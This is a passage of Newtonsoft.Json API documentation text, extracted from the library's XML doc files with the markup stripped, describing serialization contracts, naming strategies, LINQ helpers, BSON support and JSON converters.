attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 Provides a set of static (Shared in Visual Basic) methods for querying objects that implement . Returns the input typed as . Returns an empty that has the specified type argument. Converts the elements of an to the specified type. Filters the elements of an based on a specified type. Generates a sequence of integral numbers within a specified range. The value of the first integer in the sequence. The number of sequential integers to generate. Generates a sequence that contains one repeated value. Filters a sequence of values based on a predicate. Filters a sequence of values based on a predicate. Each element's index is used in the logic of the predicate function. Projects each element of a sequence into a new form. Projects each element of a sequence into a new form by incorporating the element's index. Projects each element of a sequence to an and flattens the resulting sequences into one sequence. Projects each element of a sequence to an , and flattens the resulting sequences into one sequence. The index of each source element is used in the projected form of that element. Projects each element of a sequence to an , flattens the resulting sequences into one sequence, and invokes a result selector function on each element therein. Projects each element of a sequence to an , flattens the resulting sequences into one sequence, and invokes a result selector function on each element therein. The index of each source element is used in the intermediate projected form of that element. Returns elements from a sequence as long as a specified condition is true. Returns elements from a sequence as long as a specified condition is true. The element's index is used in the logic of the predicate function. Base implementation of First operator. Returns the first element of a sequence. Returns the first element in a sequence that satisfies a specified condition. Returns the first element of a sequence, or a default value if the sequence contains no elements. Returns the first element of the sequence that satisfies a condition or a default value if no such element is found. Base implementation of Last operator. Returns the last element of a sequence. Returns the last element of a sequence that satisfies a specified condition. Returns the last element of a sequence, or a default value if the sequence contains no elements. Returns the last element of a sequence that satisfies a condition or a default value if no such element is found. Base implementation of Single operator. Returns the only element of a sequence, and throws an exception if there is not exactly one element in the sequence. Returns the only element of a sequence that satisfies a specified condition, and throws an exception if more than one such element exists. Returns the only element of a sequence, or a default value if the sequence is empty; this method throws an exception if there is more than one element in the sequence. Returns the only element of a sequence that satisfies a specified condition or a default value if no such element exists; this method throws an exception if more than one element satisfies the condition. Returns the element at a specified index in a sequence. Returns the element at a specified index in a sequence or a default value if the index is out of range. Inverts the order of the elements in a sequence. Returns a specified number of contiguous elements from the start of a sequence. Bypasses a specified number of elements in a sequence and then returns the remaining elements. Bypasses elements in a sequence as long as a specified condition is true and then returns the remaining elements. Bypasses elements in a sequence as long as a specified condition is true and then returns the remaining elements. The element's index is used in the logic of the predicate function. Returns the number of elements in a sequence. Returns a number that represents how many elements in the specified sequence satisfy a condition. Returns a that represents the total number of elements in a sequence. Returns a that represents how many elements in a sequence satisfy a condition. Concatenates two sequences. Creates a from an . Creates an array from an . Returns distinct elements from a sequence by using the default equality comparer to compare values. Returns distinct elements from a sequence by using a specified to compare values. Creates a from an according to a specified key selector function. Creates a from an according to a specified key selector function and a key comparer. Creates a from an according to specified key and element selector functions. Creates a from an according to a specified key selector function, a comparer and an element selector function. Groups the elements of a sequence according to a specified key selector function. Groups the elements of a sequence according to a specified key selector function and compares the keys by using a specified comparer. Groups the elements of a sequence according to a specified key selector function and projects the elements for each group by using a specified function. Groups the elements of a sequence according to a specified key selector function and creates a result value from each group and its key. Groups the elements of a sequence according to a key selector function. The keys are compared by using a comparer and each group's elements are projected by using a specified function. Groups the elements of a sequence according to a specified key selector function and creates a result value from each group and its key. The elements of each group are projected by using a specified function. Groups the elements of a sequence according to a specified key selector function and creates a result value from each group and its key. The keys are compared by using a specified comparer. Groups the elements of a sequence according to a specified key selector function and creates a result value from each group and its key. Key values are compared by using a specified comparer, and the elements of each group are projected by using a specified function. Applies an accumulator function over a sequence. Applies an accumulator function over a sequence. The specified seed value is used as the initial accumulator value. Applies an accumulator function over a sequence. The specified seed value is used as the initial accumulator value, and the specified function is used to select the result value. Produces the set union of two sequences by using the default equality comparer. Produces the set union of two sequences by using a specified . Returns the elements of the specified sequence or the type parameter's default value in a singleton collection if the sequence is empty. Returns the elements of the specified sequence or the specified value in a singleton collection if the sequence is empty. Determines whether all elements of a sequence satisfy a condition. Determines whether a sequence contains any elements. Determines whether any element of a sequence satisfies a condition. Determines whether a sequence contains a specified element by using the default equality comparer. Determines whether a sequence contains a specified element by using a specified . Determines whether two sequences are equal by comparing the elements by using the default equality comparer for their type. Determines whether two sequences are equal by comparing their elements by using a specified . Base implementation for Min/Max operator. Base implementation for Min/Max operator for nullable types. Returns the minimum value in a generic sequence. Invokes a transform function on each element of a generic sequence and returns the minimum resulting value. Returns the maximum value in a generic sequence. Invokes a transform function on each element of a generic sequence and returns the maximum resulting value. Makes an enumerator seen as enumerable once more. The supplied enumerator must have been started. The first element returned is the element the enumerator was on when passed in. DO NOT use this method if the caller must be a generator. It is mostly safe among aggregate operations. Sorts the elements of a sequence in ascending order according to a key. Sorts the elements of a sequence in ascending order by using a specified comparer. Sorts the elements of a sequence in descending order according to a key. Sorts the elements of a sequence in descending order by using a specified comparer. Performs a subsequent ordering of the elements in a sequence in ascending order according to a key. Performs a subsequent ordering of the elements in a sequence in ascending order by using a specified comparer. Performs a subsequent ordering of the elements in a sequence in descending order, according to a key. Performs a subsequent ordering of the elements in a sequence in descending order by using a specified comparer. Base implementation for Intersect and Except operators. Produces the set intersection of two sequences by using the default equality comparer to compare values. Produces the set intersection of two sequences by using the specified to compare values. Produces the set difference of two sequences by using the default equality comparer to compare values. Produces the set difference of two sequences by using the specified to compare values. Creates a from an according to a specified key selector function. Creates a from an according to a specified key selector function and key comparer. Creates a from an according to specified key selector and element selector functions. Creates a from an according to a specified key selector function, a comparer, and an element selector function. Correlates the elements of two sequences based on matching keys. The default equality comparer is used to compare keys. Correlates the elements of two sequences based on matching keys. The default equality comparer is used to compare keys. A specified is used to compare keys. Correlates the elements of two sequences based on equality of keys and groups the results. The default equality comparer is used to compare keys. Correlates the elements of two sequences based on equality of keys and groups the results. The default equality comparer is used to compare keys. A specified is used to compare keys. Computes the sum of a sequence of values. Computes the sum of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of values. Computes the average of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of nullable values. Computes the average of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Returns the minimum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the minimum nullable value. Returns the maximum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the maximum nullable value. Computes the sum of a sequence of values. Computes the sum of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of values. Computes the average of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of nullable values. Computes the average of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Returns the minimum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the minimum nullable value. Returns the maximum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the maximum nullable value. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of values. Computes the average of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of nullable values. Computes the average of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Returns the minimum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the minimum nullable value. Returns the maximum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the maximum nullable value. Computes the sum of a sequence of values. Computes the sum of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of values. Computes the average of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of nullable values. Computes the average of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Returns the minimum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the minimum nullable value. Returns the maximum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the maximum nullable value. Computes the sum of a sequence of values. Computes the sum of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of values. Computes the average of a sequence of values that are obtained by invoking a transform function on each element of the input sequence. Computes the sum of a sequence of nullable values. Computes the sum of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Computes the average of a sequence of nullable values. Computes the average of a sequence of nullable values that are obtained by invoking a transform function on each element of the input sequence. Returns the minimum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the minimum nullable value. Returns the maximum value in a sequence of nullable values. Invokes a transform function on each element of a sequence and returns the maximum nullable value. Represents a collection of objects that have a common key. Gets the key of the . Defines an indexer, size property, and Boolean search method for data structures that map keys to sequences of values. Represents a sorted sequence. Performs a subsequent ordering on the elements of an according to a key. Represents a collection of keys each mapped to one or more values. Gets the number of key/value collection pairs in the . Gets the collection of values indexed by the specified key. Determines whether a specified key is in the . Applies a transform function to each key and its associated values and returns the results. Returns a generic enumerator that iterates through the . See issue #11 for why this method is needed and cannot be expressed as a lambda at the call site. See issue #11 for why this method is needed and cannot be expressed as a lambda at the call site. Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. This attribute allows us to define extension methods without requiring .NET Framework 3.5. For more information, see the section, Extension Methods in .NET Framework 2.0 Apps, of Basic Instincts: Extension Methods column in MSDN Magazine, issue Nov 2007. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.xml ================================================ Newtonsoft.Json Represents a BSON Oid (object id). Gets or sets the value of the Oid. The value of the Oid. Initializes a new instance of the class. The Oid value. Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. Gets or sets a value indicating whether the root object will be read as a JSON array. true if the root object will be read as a JSON array; otherwise, false. Gets or sets the used when reading values from BSON. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Initializes a new instance of the class. The containing the BSON data to read. if set to true the root object will be read as a JSON array. The used when reading values from BSON. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Changes the reader's state to . If is set to true, the underlying is also closed. Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. Gets or sets the used when writing values to BSON. When set to no conversion will occur. The used when writing values to BSON. Initializes a new instance of the class. The to write to. Initializes a new instance of the class. The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. Writes the end. The token. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the start of a constructor with the given name. The name of the constructor. Writes raw JSON. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes the beginning of a JSON array. Writes the beginning of a JSON object. Writes the property name of a name/value pair on a JSON object. The name of the property. Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value that represents a BSON object id. The Object ID value to write. Writes a BSON regex. The regex pattern. The regex options. Specifies how constructors are used when initializing objects during deserialization by the . First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. Json.NET will use a non-public default constructor before falling back to a parameterized constructor. Converts a binary value to and from a base 64 string value. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Creates a custom object. The object type to convert. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Creates an object which will then be populated by the serializer. Type of the object. The created object. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Gets a value indicating whether this can write JSON. true if this can write JSON; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Provides a base class for converting a to and from JSON. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an Entity Framework to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). Gets or sets the date time styles used when converting a date to and from JSON. The date time styles used when converting a date to and from JSON. Gets or sets the date time format used when converting a date to and from JSON. The date time format used when converting a date to and from JSON. Gets or sets the culture used when converting a date to and from JSON. The culture used when converting a date to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from JSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from JSON and BSON. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts an to and from its name string value. Gets or sets a value indicating whether the written enum text should be camel case. The default value is false. true if the written enum text will be camel case; otherwise, false. Gets or sets the naming strategy used to resolve how enum text is written. The naming strategy used to resolve how enum text is written. Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. The default value is true. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. Initializes a new instance of the class. true if the written enum text will be camel case; otherwise, false. Initializes a new instance of the class. The naming strategy used to resolve how enum text is written. true if integers are allowed when serializing and deserializing; otherwise, false. Initializes a new instance of the class. The of the used to write enum text. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. Initializes a new instance of the class. The of the used to write enum text. The parameter list to use when constructing the described by . If null, the default constructor is used. When non-null, there must be a constructor defined in the that exactly matches the number, order, and type of these parameters. true if integers are allowed when serializing and deserializing; otherwise, false. Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts a to and from Unix epoch time Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Converts a to and from a string (e.g. "1.2.3.4"). Writes the JSON representation of the object. The to write to. The value. The calling serializer. Reads the JSON representation of the object. The to read from. Type of the object. The existing property value of the JSON that is being converted. The calling serializer. The object value. Determines whether this instance can convert the specified object type. Type of the object. true if this instance can convert the specified object type; otherwise, false. Converts XML to and from JSON. Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. The name of the deserialized root element. Gets or sets a value to indicate whether to write the Json.NET array attribute. This attribute helps preserve arrays when converting the written XML back to JSON. true if the array attribute is written to the XML; otherwise, false. Gets or sets a value indicating whether to write the root JSON object. true if the JSON root object is omitted; otherwise, false. Gets or sets a value indicating whether to encode special characters when converting JSON to XML. If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify XML namespaces, attributes or processing directives. Instead special characters are encoded and written as part of the XML element name. true if special characters are encoded; otherwise, false. Writes the JSON representation of the object. The to write to. The calling serializer. The value. Reads the JSON representation of the object. The to read from. Type of the object. The existing value of object being read. The calling serializer. The object value. Checks if the is a namespace attribute. Attribute name to test. The attribute name prefix if it has one, otherwise an empty string. true if attribute name is for a namespace attribute, otherwise false. Determines whether this instance can convert the specified value type. Type of the value. true if this instance can convert the specified value type; otherwise, false. Specifies how dates are formatted when writing JSON text. Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. Date formatted strings are not parsed to a date type and are read as strings. Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . Specifies how to treat the time value when converting between string and . Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. Treat as a UTC. If the object represents a local time, it is converted to a UTC. Treat as a local time if a is being converted to a string. If a string is being converted to , convert to a local time if a time zone is specified. Time zone information should be preserved when converting. The default JSON name table implementation. Initializes a new instance of the class. Gets a string containing the same characters as the specified range of characters in the given array. The character array containing the name to find. The zero-based index into the array specifying the first character of the name. The number of characters in the name. A string containing the same characters as the specified range of characters in the given array. Adds the specified string into name table. The string to add. This method is not thread-safe. The resolved string. Specifies default value handling options for the . Include members where the member value is the same as the member's default value when serializing 